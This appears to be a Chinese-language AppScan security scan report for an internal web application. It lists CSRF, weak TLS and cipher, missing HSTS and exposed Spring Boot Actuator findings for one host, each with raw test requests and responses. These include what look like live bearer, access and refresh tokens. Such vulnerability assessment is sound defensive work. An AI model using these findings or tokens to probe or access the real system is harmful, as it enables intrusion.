固定值：	向所有敏感的 cookie 添加“Secure”属性

差异：

推理： AppScan 发现加密会话（SSL）使用的是没有“secure”属性的 cookie。

测试请求和响应：

```
GET /admin-api/system/auth/sso-userinfo HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
skipAuthCheck: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:26:14 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node0lowm439mcsvu205jcfwgrs386451.node0; Path=/

{
  "code": 401,
  "data": null,
  "msg": "未登录或登录已过期，请重新登录"
}
```

问题 1 / 1

TOC

支持较老的 TLS 版本	
严重性：	中
CVSS 分数：	5.3
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/system/auth/logout
实体：	10.249.2.1 (Page)
风险：	可能会窃取或操纵客户会话和 cookie，它们可能用于假冒合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因：	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值：	对证书使用不同签名算法。请参阅“修订建议”以获取特定服务器指示信息。

差异：

推理：AppScan 发现服务器支持较老的 TLS 版本（TLSv1.0 或 TLSv1.1）

测试请求和响应：

```
POST /admin-api/system/auth/logout HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
Content-Length: 0
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0a9ys0v8aik3h1kt7jcydww245401.node0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:08:26 GMT
Content-Type: application/json
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *
Content-Length: 31

{
  "code": 0,
  "data": true,
  "msg": ""
}
```

检测到 **SHA-1 密码套件**

严重性：

中

CVSS 分数：

5.3

CVSS 向量：

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X

URL：

https://10.249.2.1:8090/admin-api/system/auth/logout

实体：

10.249.2.1 (Page)

风险：

可能会窃取或操纵客户会话和 cookie，它们可能用于假冒合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务

原因：

Web 服务器或应用程序服务器是以不安全的方式配置的

固定值：

更改服务器的受支持密码套件

差异：

推理： 通过使用此处列出的各个弱密码套件成功创建 SSL 连接，AppScan 可以确定该站点使用的是弱密码套件。

测试请求和响应：

```
POST /admin-api/system/auth/logout HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
Content-Length: 0
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0a9ys0v8aik3h1kt7jcydww245401.node0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:08:26 GMT
Content-Type: application/json
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *
Content-Length: 31

{
  "code": 0,
  "data": true,
  "msg": ""
}
```

验证套件是否使用此处列出的加密型弱密码套件。

服务器支持以下较弱的密码套件：

ID	名称	SSL 版本
57	TLS_DHE_RSA_WITH_AES_256_CBC_SHA	SSL 3.0
57	TLS_DHE_RSA_WITH_AES_256_CBC_SHA	TLS 1.0
49172	TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA	TLS 1.0
57	TLS_DHE_RSA_WITH_AES_256_CBC_SHA	TLS 1.1
49172	TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA	TLS 1.1

57	TLS_DHE_RSA_WITH_AES_256_CBC_SHA	TLS 1.2
49172	TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA	TLS 1.2

问题 1 / 2

跨站点请求伪造

严重性: 中

CVSS 分数: 6.5

CVSS 向量: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X

URL: https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page

实体: ->"pch" (Parameter)

风险: 可能会强制最终用户在当前其已通过身份验证的 Web 应用程序上执行不必要的操作。

原因: 应用程序使用的认证方法不充分

固定值: 验证"Referer"头的值, 并对每个提交的表单使用 one-time-nonce

差异: 参数 ->"pch" 从以下位置进行控制: 202505 至: 12025051

推理: 测试结果似乎指示存在漏洞, 因为测试响应与原始响应完全相同, 而后者指示跨站点请求伪造尝试成功, 尽管其中有假想的 CSRF 令牌。

测试请求和响应:

```
POST /admin-api/chain/jfkh-gz/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99b11f8a1731d4e
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/warningInfo/score
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18zhulur7hhzpmx0p5504.node0
Content-Length: 133

{
  "pageNo": 1,
  "pageSize": 10,
  "pch": "12025051",
  "zfbh": "",
  "xm": "",
  "bcjy": "",
  "clzt": "",
  "yjlz": "",
  "roles": "sfj_admin",
  "pzrqs": "",
  "pzrqe": ""
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:27:51 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
```



```
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01e5u76yt46lmmg35wc8df8yt5967.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [

    ],
    "total": 0
  },
  "msg": ""
}
```

跨站点请求伪造	
严重性：	中
CVSS 分数：	6.5
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/auth/login
实体：	->"username" (Parameter)
风险：	可能会强制最终用户在当前其已通过身份验证的 Web 应用程序上执行不必要的操作。
原因：	应用程序使用的认证方法不充分
固定值：	验证"Referer"头的值，并对每个提交的表单使用 one-time-nonce

差异： cookie JSESSIONID 已从请求除去： node0pm2w4g0cz6ej1pfqck4lrg83dl8028.node0
参数 ->"captchaVerification" 已从请求除去： aX7NSejVGLruwEniQsB5WzgeUqjS9cTV/LZRcHxVLe270YfcdxiV8i9L0eg9sgWcyqrWxFTFKHGZA4we8DqmQ==

推理： 测试结果似乎指示存在漏洞，因为测试响应与原始响应完全相同，而后者指示跨站点请求伪造尝试成功，尽管其中有假想的 CSRF 令牌。
测试请求和响应：

```
POST /admin-api/system/auth/login HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json; charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Content-Length: 77

{
  "username": "WYnhQ4l1NCcv3rOkYOE3Uw=",
  "password": "***CONFIDENTIAL 1***"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:41:28 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
```

```
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01s1o2deo666sc6olz0f67s3t18488.node0; Path=/
```

```
{
  "code": 0,
  "data": {
    "userId": 993,
    "accessToken": "9b049ed73c9c40378f80381aa7a5047b",
    "refreshToken": "52a5ac18fae74b7ca5860af6ab690a43",
    "expiresTime": 1773716188171,
    "roles": [
      "sfj_admin"
    ]
  },
  "msg": ""
}
```

HTTP Strict-Transport-Security 头缺失或不安全	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MAX
URL：	https://10.249.2.1:8090/
实体：	10.249.2.1 (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	实施具有长“max-age”的 HTTP Strict-Transport-Security 策略

差异：

推理： AppScan 检测到 HTTP Strict-Transport-Security 响应头缺失或者“max-age”不足

测试请求和响应：

```
POST /admin-api/system/captcha/check HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json;charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18zhu1ur7hzhpmx0p5504.node0
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 131

{
  "captchaType": "blockPuzzle",
  "pointJson": "yCUwt9EWtHm2Rliuxrh9BF4FMzoGWYpGpckS13C6lw=",
  "token": "944c54c7d4d2497bb321222fb0bd619b1"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:42 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0lxzcl17pwc1gm1q5487ai9hur15586.node0; Path=/

{
  "repCode": "6110",
```

```
"repMsg": "验证码已失效，请重新获取",
"repData": null,
"success": false
}
```

低

Spring Boot Actuator 端点已公开 12

TOC

问题 1 / 12

TOC

Spring Boot Actuator 端点已公开

严重性: 低

CVSS 分数: 3.7

CVSS 向量: AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X

URL: https://10.249.2.1:8090/admin-api/system/dict-data/

实体: health (Page)

风险: 可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置

原因: Web 服务器或应用程序服务器是以不安全的方式配置的

固定值: 将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: cookie JSESSIONID 已从请求除去: node0vef9kts18rhulur7hhzpmx0p5504.node0
标题 Authorization 已从请求除去: Bearer cd66a08b7da74700aef90497d564b054
路径 从以下位置进行控制: /admin-api/system/dict-data/list-all-simple 至: /admin-api/system/dict-data/health

推理: 测试响应包含已请求的 Spring 端点的内容，这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/system/dict-data/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v=8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/zf-zfjbox/
实体:	health (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: 方法 从以下位置进行控制: POST 至: GET
主体 从以下位置进行控制: {"pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":""} 至: --
标题 Content-Type 已从请求除去: application/json;charset=UTF-8
cookie JSESSIONID 已从请求除去: node0vef9ktsl8rhulur7hhzpmypx0p5504.node0
标题 Authorization 已从请求除去: Bearer cd66a08b7da74700aef90497d564b054
路径 从以下位置进行控制: /admin-api/chain/zf-zfjbox/page 至: /admin-api/chain/zf-zfjbox/health

推理: 测试响应包含已请求的 Spring 端点的内容，这指示其暴露于未经认证的用户。
测试请求和响应:

```
GET /admin-api/chain/zf-zfjbox/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/infoStorage/criminalBase/index
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/chain/jxjs-gz/
实体：	health (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因：	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值：	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异： 方法 从以下位置进行控制： POST 至： GET

主体 从以下位置进行控制：

{ "lb":1, "nd":"","pageNo":1, "pageSize":10, "pch":"202505", "zfbh":"","xm":"","bcjy":"","clzt":"","yjlb":"","roles":"sfj_admin", "pzrqz":"","pzrqe":"" } 至： --

标题 Content-Type 已从请求除去： application/json;charset=UTF-8

cookie JSESSIONID 已从请求除去： node0vef9ktsl8rhulur7hhzpmx0p5504.node0

标题 Authorization 已从请求除去： Bearer cd66a08b7da74700aef90497d564b054

路径 从以下位置进行控制： /admin-api/chain/jxjs-gz/page 至： /admin-api/chain/jxjs-gz/health

推理： 测试响应包含已请求的 Spring 端点的内容，这指示其暴露于未经认证的用户。

测试请求和响应：

```
GET /admin-api/chain/jxjs-gz/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/warningInfo/reduce
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开

严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/user/
实体:	health (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: **cookie** `JSESSIONID` 已从请求除去: `node0vef9kts18rhulur7hhzpmx0p5504.node0`
标题 `Authorization` 已从请求除去: `Bearer cd66a08b7da74700aef90497d564b054`
路径 从以下位置进行控制: `/admin-api/system/user/get` 至: `/admin-api/system/user/health`

推理: 测试响应包含已请求的 Spring 端点的内容, 这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/system/user/health?id=993 HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开

严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jfkh/
实体:	health (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: 方法 从以下位置进行控制: POST 至: GET
主体 从以下位置进行控制: {"yjl":1,"pageNo":1,"pageSize":10,"pch":"202505","nd":"","tqjy":"","tqqs":"","tqqs":"","hyjg":""} 至: --
标题 Content-Type 已从请求除去: application/json;charset=UTF-8
cookie JSESSIONID 已从请求除去: node0vef9kts18rhulur7hhzpmx0p5504.node0
标题 Authorization 已从请求除去: Bearer cd66a08b7da74700aef90497d564b054
路径 从以下位置进行控制: /admin-api/chain/jfkh/page 至: /admin-api/chain/jfkh/health

推理: 测试响应包含已请求的 Spring 端点的内容, 这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/chain/jfkh/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not(A;Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```


Spring Boot Actuator 端点已公开

严重性: 低

CVSS 分数: 3.7

CVSS 向量: AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/IAR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X

URL: <https://10.249.2.1:8090/admin-api/chain/jfkh-mc/>

实体: health (Page)

风险: 可能会收集有关 Web 应用程序的敏感信息, 如用户名、密码、机器名和/或敏感文件位置

原因: Web 服务器或应用程序服务器是以不安全的方式配置的

固定值: 将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: cookie JSESSIONID 已从请求除去: node0vef9kts18rhulur7hhzpmx0p5504.node0
标题 Authorization 已从请求除去: Bearer cd66a08b7da74700aef90497d564b054
路径 从以下位置进行控制: /admin-api/chain/jfkh-mc/getById 至: /admin-api/chain/jfkh-mc/health

推理: 测试响应包含已请求的 Spring 端点的内容, 这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/chain/jfkh-mc/health?id=C61871F8067EB211B9A8BAAC1B34635E HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires?indexJumpId=C61871F8067EB211B9A8BAAC1B34635E
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
